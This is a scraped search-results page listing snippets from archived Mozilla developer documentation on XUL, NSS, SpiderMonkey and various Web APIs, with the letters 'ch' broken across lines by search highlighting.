ch as firefox addons, the contents of the frame may have the same permissions as firefox itself.
...And 13 more matches
tab - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a single tab whi
ch should be placed inside a tabs element.
... attributes accesskey, afterselected, beforeselected, command, crop, disabled, first-tab, image, label, last-tab, linkedpanel, oncommand, pending, pinned, selected, tabindex, unread, validate, value properties accesskey, accessibletype, command, control, crop, disabled, image, label, linkedpanel, selected, tabindex, value examples (example needed) attributes accesskey type:
character this should be set to a
character that is used as a shortcut key.
... this should be one of the
characters that appears in the label attribute for the element.
...And 13 more matches
tabs - Archive of obsolete content
nb: you can add some other elements to tabs su
ch as button, but they will receive an index.
... activating them will not
change the selectedindex.
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, whi
ch is not the case.
...And 13 more matches
Encryption and Decryption - Archive of obsolete content
with most modern cryptography, the ability to keep encrypted information secret is based not on the cryptographic algorithm, whi
ch is widely known, but on a number called a key that must be used with the algorithm to produce an encrypted result or to decrypt previously encrypted information.
...thus, as long as the symmetric key is kept secret by the two parties using it to encrypt communications, ea
ch party can be sure that it is communicating with the other as long as the decrypted messages continue to make sense.
... symmetric-key encryption plays an important role in the ssl protocol, whi
ch is widely used for authentication, tamper detection, and encryption over tcp/ip networks.
...And 13 more matches
Debug - Archive of obsolete content
constants async callback status codes contant description value debug.ms_async_callback_status_assign_delegate the syn
chronous work item assigned a callback or continuation to be run by an asyn
chronous operation.
... 0 debug.ms_async_callback_status_join the syn
chronous work item satisfied part of a join asyn
chronous operation.
... 1 debug.ms_async_callback_status_
chooseany the syn
chronous work item satisfied a
choice asyn
chronous operation.
...And 13 more matches
Examples - Archive of obsolete content
--> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - < in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml;
charset=utf-8" /> <script type="text/javascript"> var i = 0; while (++i > 10) { // ...
.../html> back to the article problem 2 <!-- this file should have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml;
charset=utf-8" /> <style type="text/css"> <!-- body {background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> <h1>problem 2 - comments in xhtml</h1> <p> this document is valid xhtml 1.0 strict se...
... </p> <dl> <dt>mozilla 1.1+/opera 7</dt> <dd>do not apply css or execute the javascript.</dd> <dt>netscape 7.0x/mozilla 1.0.x</dt> <dd>do not apply css but does execute the javascript.</dd> <dt>internet explorer 5.5+</dt> <dd>can not display the document.</dd> </dl> <p> <a href="http://validator.w3.org/
check/referer"><img src="https://udn.realityripple.com/samples/8a/9e64asf935.png" alt="valid xhtml 1.0!" height="31" width="88" /></a> </p> </body> </html> back to the article problem 3 <!-- this file should have a .xhtml extension and will generate an error when parsed.
...And 13 more matches
Implementation Status - Archive of obsolete content
specification
chapter index here we give an overview of xforms 1.1 specification
chapters and the current status of the mozilla support.
...we have listed the most relevant bugs here, but
check out the bugzilla xforms buglist for the complete list.
... 3.2.4 node-set binding attributes supported 3.2.5 model item property attributes partial in some cases a loop error can occur on valid bindings 302168; 3.3.1 model supported 3.3.2 instance partial instance element with two
child element does not trigger exception 337302; 3.3.3 submission partial no support for @indent and complex s
chema validation 278761; 278762; 3.3.4 bind partial using the index() function in binds does not work.
...And 13 more matches
nss tech note1
how to use the nss asn.1 and quickder decoders nss te
chnical note: 1 nss 3.6 contains several decoders for asn.1 and der.two of them are extensively used and are part of the public nss api : the "classic" asn.1 decoder, written by lisa repka .
...a "null template" is a template that is all zeros, having a zero kind.† the term "null-terminated array", as used throughout this document, means an array of templates, the last of whi
ch is a null template.
...this is the arena pool from whi
ch the decoder will allocate memory as needed.
...And 13 more matches
JS_GetScopeChain
retrieves the scope
chain for the javascript code currently running in a given context.
... js_getscope
chain has been removed in spidermonkey 1.8.7 with no identical replacement.
... when you only used this function to retrieve the scope
chain's global, then you can use the function js_getglobalforscope
chain.
...And 13 more matches
nsIMsgSearchSession
the nsimsgsear
chsession interface allows you to create and manipulate sear
ch sessions within thunderbird.
... to create an instance, use: var sear
chsession = components.classes["@mozilla.org/messenger/sear
chsession;1"] .createinstance(components.interfaces.nsimsgsear
chsession); to use the instance append sear
ch terms, set the scope, and then call sear
ch().
... sear
chsession.addscopeterm(components.interfaces.nsmsgsear
chscope.offlinemail, afolder); var sear
chterm = sear
chsession.createterm(); var value = sear
chterm.value; value.str = avalue; sear
chterm.value = value; sear
chterm.op = sear
chsession.booleanor; sear
chterm.booleanand = false; sear
chsession.appendterm(sear
chterm); sear
chsession.sear
ch(null); inherits from: nsisupports method overview void addsear
chterm(in nsmsgsear
chattribvalue attrib, in nsmsgsear
chopvalue op, in nsimsgsear
chvalue value, in boolean booleanand, in string arbitraryheader); nsimsgsear
chterm createterm(); void appendterm(in nsimsgsear
chterm term); void registerlistener(in nsimsgsear
chnotify listener); void unregisterlistener(in nsimsgsear
chnotify listener); void g...
...And 13 more matches
Drag and Drop Example - Archive of obsolete content
first, we'll add the wrapper scripts: <script src="
chrome://global/content/nsdraganddrop.js"/> <script src="
chrome://global/content/nstransferable.js"/> <script src="dragboard.js"/> an additional script file dragboard.js is included whi
ch will contain the code we will write ourselves.
...it will contain three buttons, one to create new buttons, one to create
check boxes and the other to create textboxes.
...<vbox> <button label="button" elem="button" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <button label="
check box" elem="
checkbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <button label="text box" elem="textbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> </vbox> the nsdraganddrop object will be called to do most of the work.
...And 9 more matches
Drag and Drop - Archive of obsolete content
the list below describes the event handlers that can be called, whi
ch may be placed on any element.
... ondraggesture called when the user starts dragging the element, whi
ch normally happens when the user holds down the mouse button and moves the mouse.
...this might be used to
change the appearance of the element to indicate to the user that the object can be dropped on it.
...And 9 more matches
Editor Embedding Guide - Archive of obsolete content
session->makewindoweditable(domwindow, "html", pr_true); the valid editor types are: "text" (similar to notepad or a textarea; does not allow for html) "textmail" (similar to "text" but html can be inserted; intended for plaintext mail usage and handling of citations) "html" (this is the default type if no type is specified; it allows for all html tags to be inserted) "htmlmail" (this is mu
ch like "html" except there are a few editing rules/behaviors that differ su
ch as splitting of mail quotes) editor commands you need to call commands and receive updates in order to make any
changes to the content on the browser.
...call a command -- docommand: commandmanager->docommand(acommand, acommandparams); acommand is a const
char * to a supported command name (see list below).
... getcommandstate "state_attribute" (cstring) docommand "state_attribute" (cstring) "left", "right", "center", "justify" cmd_inserthtml cmd_insertlinknoui cmd_insertimagenoui cmd_inserthr cmd_
charset sets the
charset for the document.
...And 9 more matches
Downloading Nightly or Trunk Builds - Archive of obsolete content
this usage may
change.
...so to figure out how to download a cutting edge or bleeding edge or 'beta' version of firefox, you need to look for a "build" (whi
ch is developer-speak for the packaged files you can download) of 1.9.1 (the number of the underlying 'platform' called 'gecko' or 'mozilla' that firefox uses).
...the three common cases are "trunk", meaning the most recent version of mozilla; "bran
ch", meaning the version before trunk (though it can be any version before trunk); and "next", meaning a possible version in the future.
...And 9 more matches
Introducing the Audio API extension - Archive of obsolete content
this event has the following attributes: moz
channels: number of
channels mozsamplerate: sample rate per second mozframebufferlength: number of samples collected in all
channels this information is needed later to decode the audio data stream.
... the following example extracts the data from an audio element: <!doctype html> <html> <head> <title>javascript metadata example</title> </head> <body> <audio id="audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <script> function loadedmetadata() {
channels = audio.moz
channels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('loadedmetadata', loadedmetadata, false); </script> </body> </html> the mozaudioavailable event as the audio is played, sample data is made available to the audio layer and the audio buffer (size define...
...it's important to note that the samples are not separated by
channels; they are all delivered together.
...And 9 more matches
Java in Firefox Extensions - Archive of obsolete content
note bug 834918 about click-to-play effect on java plugins in
chrome and bug 775301.
... the following te
chnique only works in javascript code linked from or contained in xul files.
... if you wish to call java code from within javascript code that implements some xpcom components, at this time, you need a different te
chnique (refer to the complete java firefox extension).
...And 9 more matches
Running Tamarin performance tests - Archive of obsolete content
the tamarin performance tests can be used to measure performance
changes made to tamarin.
...for example you may download or build the latest
checked in avmshell to compare against a local
change.
... $ cd tamarin-redux/test/performance $ python runtests.py executing tests at 2008-07-22 13:56:54.820920 avm: c:/dev/tamarin-tracing/bld/shell/avmshell.exe test avm sunspider/access-binary-trees.as 82.0 sunspider/access-fannku
ch.as 152.0 sunspider/access-nbody.as 173.0 sunspider/access-nsieve.as 65.0 sunspider/bitops-3bit-bits-in-byte.as 13.0 sunspider/bitops-bits-in-byte.as 36.0 $ export avm2=c:/dev/tamarin-tracing2/bld/shell/avmshell.exe $ python ./runtests.py executing tests at 2008-07-22 14:03:51.957381...
...And 9 more matches
Install script template - Archive of obsolete content
var plid = "@myplugin.com/myplugin,version=5.3"; var version = "5.3.0.0"; var mimetype = "application/x-my-plugin"; var suffix = "my"; var suffix_description = "my plugin files"; var company_name = "mypluginco"; var plugin_description = "my exemplary plugin mine all mine"; // registry constant paths // these will be used when the win32 registry keys are written var hkey_local_ma
chine = "hkey_local_ma
chine"; var hkey_current_user = "hkey_current_user"; var reg_moz_path = "software\\mozillaplugins"; // my own error code in case secondary installation fails var nosecondaryinstall = 1; // error return codes need some memory var err; // error return codes when we try and install to the current browser var errblock1; // error return codes when we try and do a secondary ...
...elped make this install script var exceptionoccurederror = -4711; var winregisnullerror = -4712; var invalidrootkeyerror = -4713; var registrykeynotwritableerror = -4714; //initinstall block //the installation is initialized here -- if we fail here, cancel the installation // initinstall is quite an overloaded method, but i have invoked it here with three strings // whi
ch are globally defined err = initinstall(software_name, plid, version); if (err != 0) { // call initinstall again in case illegal
characters in plid err = initinstall(software_name, software_name, version); if (err != 0) cancelinstall(err); } //addfiles to current browser block var pluginsfolder = getfolder("plugins"); //verify disk space if(verifydiskspace(pluginsfolder, plugin_size...
...ectory can be avoided for xpt files errblock1 = addfile (plid, version, component_file, pluginsfolder, null); if (errblock1!=0) { logcomment("could not add " + component_file + " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } } else { logcomment("cancelling current browser install due to lack of space..."); cancellinstall(); } // secondary install block, whi
ch sets up plugins and xpt in another location in addition to the current browser errblock2 = createsecondaryinstall(); // performinstall block, in whi
ch error conditions from previous blocks are
checked.
...And 9 more matches
accesskey - Archive of obsolete content
« xul reference home attribute of: button,
checkbox, caption, description, label, listitem, menu, menuitem, menulist, tab, radio, toolbarbutton, textbox accesskey type:
character this should be set to a
character that is used as a shortcut key.
... this should be one of the
characters that appears in the label attribute for the element.
... on non-macintosh platforms, the
character on the element's label mat
ching the accesskey is underlined.
...And 9 more matches
Getting File Information - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), whi
ch was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very mu
ch welcome!
... the nsifile object has a number of useful attributes whi
ch may be used to retrieve information about a file.
...And 9 more matches
MenuModification - Archive of obsolete content
modifying a menu menus have a number of methods whi
ch may be used to add and remove items.
...note how in this example, the menu does not have a
child menupopup.
...in this case, 0 is supplied as the index, whi
ch means before the first item.
...And 9 more matches
Special per-platform menu considerations - Archive of obsolete content
for instance, the edit menu always starts with the undo command if su
ch a feature is available in the application, followed by redo, cut, copy, paste, and so forth.
... some menu items have specific common labels or locations where certain menu items would go that differ on ea
ch platform.
... for instance, on windows, the menu item whi
ch exits the application is labeled "exit" and is normally placed at the end of the file menu.
...And 9 more matches
Actions - Archive of obsolete content
« previousnext » the content to generate in a template is specified using the <xul:action> element whi
ch should either be the next sibling of the <xul:query> element (if no rules need be specified) or be a direct
child of a <xul:rule> element.
...this content will be copied for ea
ch mat
ching result (though see below for an exception) and inserted into the document.
...in this case, a button will be created for ea
ch result.
...And 9 more matches
Building Menus With Templates - Archive of obsolete content
this applies to menus on menubars, submenus, as well as menu-type buttons su
ch as those with a type attribute set to menu.
...here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="
children" oncommand="alert(this.previoussibling.
childnodes.length);"/> in this example, the datasources attribute has been placed on a menu-type button.
... the query generates a list of the person tags within the datasource and outputs the action body for ea
ch one.
...And 9 more matches
Containment Properties - Archive of obsolete content
« previousnext » so far, we've seen how the simple query syntax can generate results from the
children of an rdf container.
... however, the simple query syntax may also iterate over a single predicate pointing out of a resource, rather than use the
children.
...this attribute is useful when the rdf data is structured in su
ch a way that an rdf container isn't used.
...And 9 more matches
Modifying the Page Hosted by a Tab - Archive of obsolete content
to modify the page hosted by a particular tab, load one or more content scripts into it using atta
ch() method of tab object.
... here's a simple example: var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.atta
ch({ contentscript: 'document.body.style.border = "5px solid red";' }); } }); to run this example, save an icon file named "icon-16.png" in add-on's "data" directory.
...it has a click handler whi
ch fet
ches the active tab and loads a script into the page hosted by the active tab.
...And 5 more matches
Troubleshooting - Archive of obsolete content
check your firefox jpm sear
ches well known locations on your system for firefox.
... when you run jpm to test your add-on or run unit tests, it prints out the location of the firefox or xulrunner binary that it found, so you can
check its output to be sure.
...
check your text console when errors are generated in the sdk's apis and your code, they are logged to the text console.
...And 5 more matches
Unit Testing - Archive of obsolete content
unfortunately these functions are atta
ched to the window object: since this object is not available in your main add-on code, atob() and btoa() aren't available either.
...now create a new file called "base64.js", and give it the following contents: const { atob, btoa } = require("resource://gre/modules/services.jsm"); exports.atob = a => atob(a); exports.btoa = b => btoa(b); this code exports two functions, whi
ch just call the platform's btoa() and atob() functions.
...require("../base64"); exports["test atob"] = function(assert) { assert.ok(base64.atob("agvsbg8=") == "hello", "atob works"); } exports["test btoa"] = function(assert) { assert.ok(base64.btoa("hello") == "agvsbg8=", "btoa works"); } exports["test empty string"] = function(assert) { assert.throws(function() { base64.atob(); }, "empty string
check works"); } require("sdk/test").run(exports); note that with jpm we must give the exact relative path to the base64.js module.
...And 5 more matches
Canvas code snippets - Archive of obsolete content
function getpixelcolour(canvas, x, y) { var cx = canvas.getcontext('2d'); var pixel = cx.getimagedata(x, y, 1, 1); return { r: pixel.data[0], g: pixel.data[1], b: pixel.data[2], a: pixel.data[3] }; }
chaining methods this class provides jquery-style
chained access to 2d context methods and properties.
..., 'fill', 'fillrect', 'filltext', 'lineto', 'moveto', 'quadraticcurveto', 'rect', 'restore', 'rotate', 'save', 'scale', 'settransform', 'stroke', 'strokerect', 'stroketext', 'transform', 'translate']; var gettermethods = ['createpattern', 'drawfocusring', 'ispointinpath', 'measuretext', // drawfocusring not currently supported // the following might instead be wrapped to be able to
chain their
child objects 'createimagedata', 'createlineargradient', 'createradialgradient', 'getimagedata', 'putimagedata' ]; var props = ['canvas', 'fillstyle', 'font', 'globalalpha', 'globalcompositeoperation', 'linecap', 'linejoin', 'linewidth', 'miterlimit', 'shadowoffsetx', 'shadowoffsety', 'shadowblur', 'shadowcolor', 'strokestyle', 'textalign', 'textbaseline']; for (l...
...nvas2dcontext(canvas) .strokestyle('rgb(30, 110, 210)') .transform(10, 3, 4, 5, 1, 0) .strokerect(2, 10, 15, 20) .context; // use property name as a function (but without arguments) to get the value var strokestyle = canvas2dcontext(canvas) .strokestyle('rgb(50, 110, 210)') .strokestyle(); code usable only from privileged code these snippets are only useful from privileged code, su
ch as extensions or privileged apps.
...And 5 more matches
JavaScript Debugger Service - Archive of obsolete content
var jsd = components.classes["@mozilla.org/js/jsd/debugger-service;1"] .getservice(components.interfaces.jsdidebuggerservice); jsd.on(); // enables the service till firefox 3.6, for 4.x use asyncon if (jsd.ison) jsd.off(); // disables the service hooks jsd operates using the events hook me
chanism.
... jsd.errorhook = { onerror: function(message, filename, lineno, colno, flags, errnum, exc) { dump(message + "@" + filename + "@" + lineno + "@" + colno + "@" + errnum + "\n"); //
check message type var jsdierrorhook = components.interfaces.jsdierrorhook; var messagetype; if (flags & jsdierrorhook.report_error) messagetype = "error"; if (flags & jsdierrorhook.report_warning) messagetype = "warning"; if (flags & jsdierrorhook.report_exception) messagetype = "uncaught-exception"; if (flags & jsdierrorhook.report_strict) messagetype += "-strict"; dum...
...hy debughook sometimes fails to trigger jsd.debughook = { onexecute: function(frame, type, rv) { stacktrace = ""; for (var f = frame; f; f = f.callingframe) { stacktrace += f.script.filename + "@" + f.line + "@" + f.functionname + "\n"; } dump(stacktrace); return components.interfaces.jsdiexecutionhook.return_continue; } }; filters jsd also allows the use of filters to track whi
ch scripts should trigger the hooks.
...And 5 more matches
Rosetta - Archive of obsolete content
nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual ma
chines in pure ecmascript.
... for a fast overview on the code proposed here you can git clone https://github.com/madmurphy/rosetta.js, or, at your
choice, directly download this .zip file.
...|*| |*| november 12, 2014 |*| |*| https://developer.mozilla.org/add-ons/code_snippets/rosetta |*| https://developer.mozilla.org/user:fusion
chess |*| |*| this framework is released under the gnu public license, version 3 or later.
...And 5 more matches
Sidebar - Archive of obsolete content
users have been known to complain about this "feature", and if two or more extensions try to open their sidebars on startup, the user will see a flurry of sidebars opening and closing with whi
ch ever extension going last "winning".
... web panels sidebar content su
ch as web pages can be safely loaded as sidebar in the "viewwebpanelssidebar".
... bookmarks with "load this bookmark in sidebar"
checked in the properties open in the "viewwebpanelssidebar".
...And 5 more matches
Appendix A: Add-on Performance - Archive of obsolete content
this is evident when opening a firefox profile that has many add-ons installed; some profiles can take minutes to load, whi
ch is a serious inconvenience for users that gives them a negative view of firefox.
... add-on developers need to make sure that they minimize their add-ons' performance impact, and here are a few simple guidelines that should be followed to a
chieve that.
...most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fet
ch remote data.
...And 5 more matches
Finding the file to modify - Archive of obsolete content
the structure layer identifies the widgets (menus, buttons, etc.) and their position in the ui relative to ea
ch other, the style layer defines how the widgets look (size, color, style, etc.) and their overall position (alignment), and the behavior layer specifies how the widgets behave and how users can use them to accomplish their goals.
...xul, whi
ch is short for xml-based user interface language (and is pronounced like "zool"), is an xml-based language specifically designed for describing application interfaces.
... ea
ch window and dialog box in mozilla is defined by a single xul file (in some cases other xul files called overlays contribute portions of another window's structure).
...And 5 more matches
Dehydra Object Reference - Archive of obsolete content
the objects are designed to distill that type system to the minimum su
ch that it can be easy to mat
ch on.
...intrinsic types su
ch as "int" are not declared and will not have a .loc.
...ea
ch member of the array has the following properties: { name: string, value: string or number, if applicable } see an example on enforcing final classes.
...And 5 more matches
Hidden prefs - Archive of obsolete content
this page has been flagged by editors or users as needing te
chnical review.
... the default (defined in mailnews.js) is: pref("mail.addr_book.mapit_url.format", "http://www.mapquest.com/maps/map.adp...st&zipcode=@zi"); addressbook quick sear
ch query pref ("mail.addr_book.quicksear
chquery.format" ) the format for this pref is: @v == the escaped value typed in the quick sear
ch bar in the addressbook every occurance of @v will be replaced.
... this entity (sear
chnameoremail.label) is defined in messenger.dtd.
...And 5 more matches
generateCRMFRequest() - Archive of obsolete content
there may also be large incompatibilities between implementations and the behavior may
change in the future.
...one request for ea
ch key pair that is generated.
...ea
ch key generation will be associated with its own request.
...And 5 more matches
Makefile.mozextension.2 - Archive of obsolete content
whi
ch is why the code shown below is corrupt - so you may wanna click on edit and view source instead !!
...zextension2 ## file: makefile.mozextension2 ## based on http://kb.mozillazine.org/makefile_for_packaging_an_extension ## "this makefile.mozextention is for the test extension" ## the original makefile.mozextention reconstructs http://kb.mozillazine.org/getting_started_with_extension_development # call with: # make -f makefile.mozextension2 make_structure ## (without args for 'all') # note: @e
cho silent; without @ the command is written in stdout project=test project_name=testworld #~ project_id={xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} project_id=test@testworld.ext project_version=1.0 project_desc="a $(project_name) project with advanced features" project_author=author name # mkdir=$(shell whi
ch mkdir) mkdir=/bin/mkdir zipprog=/usr/bin/zip shell = /bin/sh noop = $(shell) -c true noec...
...ho = @ rm_rf=rm -f cp=/bin/cp -i .phony: all all :: make_structure make_files $(noe
cho) $(noop) package:: make_xpi $(noe
cho) $(noop) #install :: make_xpi make_install # $(noe
cho) $(noop) clean :: make_clean $(noe
cho) $(noop) make_structure: @$(mkdir) $(project) || { e
cho "creating directory failed; it probably exists.
...And 5 more matches
Mozilla Application Framework - Archive of obsolete content
we provide a comprehensive framework that does mu
ch of the work for you, tools to help you develop your apps, and a community of people to help.
... framework xul a comprehensive, cross-platform ui toolkit with an easy-to-learn xml language for defining ui structure, a s
chema for localization, and support for both native and cross-platform (using css) look and feel to make writing uis quick and painless.
... and mu
ch mu
ch more...
...And 5 more matches
LIR - Archive of obsolete content
in nanojit, lir is the source language for compilation to ma
chine code.
...nanojit lir instruction
cheat sheet.also in pdf format see atta
chment.
... category op code code name return type featured description miscellaneous 0 start void start of a fragment 1 regfence void a register fence causes no code to be generated, but it affects register allocation so that no registers are live when it is rea
ched.
...And 5 more matches
MutationObserverInit.characterData - Web APIs
the mutationobserverinit dictionary's optional
characterdata property is used to specify whether or not to monitor the node or nodes being observed for
changes to their textual contents.
...
character data
changes are detectable on any text node, including nodes based on the text, processinginstruction, and comment interfaces.
... syntax var options = {
characterdata: true | false } value a boolean value indicating whether or not to call the observer's callback function when textual nodes' values
change.
...And 5 more matches
MutationObserverInit.characterDataOldValue - Web APIs
the mutationobserverinit dictionary's optional
characterdataoldvalue property is used to specify whether or not the mutationrecord.oldvalue property for dom mutations should be set to the previous value of text nodes whi
ch changed.
... if you set the mutationobserverinit.
characterdata property to true but don't set
characterdataoldvalue to true as well, the mutationrecord will not include information describing the prior state of the text node's contents.
...
character data
changes are detectable on any text node, including nodes based on the text, processinginstruction, and comment interfaces.
...And 5 more matches
NonDocumentTypeChildNode.nextElementSibling - Web APIs
the nondocumenttype
childnode.nextelementsibling read-only property returns the element immediately following the specified one in its parent's
children list, or null if the specified element is the last one in the list.
... (el) { console.log(el.nodename); el = el.nextelementsibling; } </script> this example outputs the following into the console when it loads: siblings of div-01: div script polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-
child-elements.js if(!("nextelementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "nextelementsibling", { get: function(){ var e = this.nextsibling; while(e && 1 !== e.nodetype) e = e.nextsibling; return e; } }); } polyfill for internet explorer 9+ and safari // source: https://github.com/...
...jserz/js_piece/blob/master/dom/nondocumenttype
childnode/nextelementsibling/nextelementsibling.md (function (arr) { arr.forea
ch(function (item) { if (item.hasownproperty('nextelementsibling')) { return; } object.defineproperty(item, 'nextelementsibling', { configurable: true, enumerable: true, get: function () { var el = this; while (el = el.nextsibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype,
characterdata.prototype]); specifications specification status comment domthe definition of '
childnodenextelementsibling' in that specification.
...And 5 more matches
ParentNode.firstElementChild - Web APIs
the parentnode.firstelement
child read-only property returns the object's first
child element, or null if there are no
child elements.
...as this interface contained two distinct set of properties, one aimed at node that have
children, one at those that are
children, they have been moved into two separate pure interfaces, parentnode and
childnode.
... in this case, firstelement
child moved to parentnode.
...And 5 more matches
ParentNode.lastElementChild - Web APIs
the parentnode.lastelement
child read-only property returns the object's last
child element or null if there are no
child elements.
...as this interface contained two distinct set of properties, one aimed at node that have
children, one at those that are
children, they have been moved into two separate pure interfaces, parentnode and
childnode.
... in this case, lastelement
child moved to parentnode.
...And 5 more matches
PaymentRequest.onpaymentmethodchange - Web APIs
the paymentrequest event handler onpaymentmethod
change is invoked when the paymentmethod
change is fired, indicating that the user has
changed payment methods within a given payment handler.
...ea
ch time the user does so, this event is fired.
... syntax paymentrequest.addeventlistener('paymentmethod
change', paymentmethod
changeevent => { ...
...And 5 more matches
PaymentResponse: payerdetailchange event - Web APIs
payerdetail
change events are delivered by the payment request api to a paymentresponse object when the user makes
changes to their personal information while filling out a payment request form.
... the event handler for payerdetail
change should
check ea
ch value in the form that has
changed and ensure that the values are valid.
... bubbles no cancelable no interface paymentrequestupdateevent event handler property onpayerdetail
change examples in the example below, onpayerdetail
change is used to set up a listener for the payerdetail
change event in order to validate the information entered by the user, requesting that any mistakes be corrected // options for paymentrequest(), indicating that shipping address, // payer email address, name, and phone number all be collected.
...And 5 more matches
RTCDataChannel.onbufferedamountlow - Web APIs
the rtcdata
channel.onbufferedamountlow property is an eventhandler whi
ch specifies a function the browser calls when the bufferedamountlow event is sent to the rtcdata
channel.
... this event, whi
ch is represented by a simple event object, is sent when the amount of data buffered to be sent falls to or below the threshold specified by the
channel's bufferedamountlowthreshold.
... see buffering in using webrtc data
channels to learn more about how to work with the data
channel buffer.
...And 5 more matches
RTCDataChannelEvent - Web APIs
the rtcdata
channelevent() constructor returns a new rtcdata
channelevent object, whi
ch represents a data
channel event.
... these events sent to an rtcpeerconnection when its remote peer is asking to open an rtcdata
channel between the two peers.
... you will rarely if ever construct an rtcdata
channelevent by hand; instead, the webrtc layer will generate and deliver them to you at the appropriate time.
...And 5 more matches
RTCPeerConnection: icegatheringstatechange event - Web APIs
the icegatheringstate
change event is sent to the onicegatheringstate
change event handler on an rtcpeerconnection when the state of the ice candidate gathering process
changes.
... this signifies that the value of the connection's icegatheringstate property has
changed.
... when ice firststarts to gather connection candidates, the value
changes from new to gathering to indicate that the process of collecting candidate configurations for the connection has begun.
...And 5 more matches
SVGSwitchElement - Web APIs
the svgswit
chelement interface corresponds to the <swit
ch> element.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...And 5 more matches
ServiceWorker.onstatechange - Web APIs
an eventlistener property called whenever an event of type state
change is fired; it is basically fired anytime the serviceworker.state
changes.
... syntax serviceworker.onstate
change = function(state
changeevent) { ...
... } serviceworker.addeventlistener('state
change', function(state
changeevent) { ...
...And 5 more matches
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
the pushsubscription
change event is sent to the global scope of a serviceworker to indicate a
change in push subscription that was triggered outside the application's control.
... bubbles no cancelable no interface pushsubscription
changeevent event handler property onpushsubscription
change usage notes although examples demonstrating how to share subscription related information with the application server tend to use fet
ch(), this is not necessarily the best
choice for real-world use, since it will not work if the app is offline, for example.
... consider using another method to syn
chronize subscription information between your service worker and the app server, or make sure your code using fet
ch() is robust enough to handle cases where attempts to ex
change data fail.
...And 5 more matches
SpeechRecognitionAlternative.confidence - Web APIs
the confidence read-only property of the spee
chrecognitionresult interface returns a numeric estimate of how confident the spee
ch recognition system is that the recognition is correct.
... syntax var myconfidence = spee
chrecognitionalternativeinstance.confidence; returns a number betwen 0 and 1.
... examples this code is excerpted from our spee
ch color
changer example.
...And 5 more matches
SpeechRecognitionErrorEvent.error - Web APIs
the error read-only property of the spee
chrecognitionerrorevent interface returns the type of error raised.
...the possible error types are: no-spee
ch no spee
ch was detected.
... aborted spee
ch input was aborted in some manner, perhaps by some user-agent-specific behavior like a button the user can press to cancel spee
ch input.
...And 5 more matches
xChannelSelector - SVG: Scalable Vector Graphics
the x
channelselector attribute indicates whi
ch color
channel from in2 to use to displace the pixels in in along the x-axis.
